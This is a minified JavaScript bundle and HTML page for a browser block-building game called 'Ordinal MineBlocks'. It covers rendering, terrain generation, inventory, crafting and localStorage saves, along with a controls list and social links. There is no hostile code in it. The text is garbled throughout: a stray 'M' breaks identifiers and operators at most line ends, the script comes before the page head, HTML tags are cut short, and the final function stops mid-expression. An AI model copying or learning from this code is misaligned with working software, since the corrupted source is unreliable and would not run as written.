:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
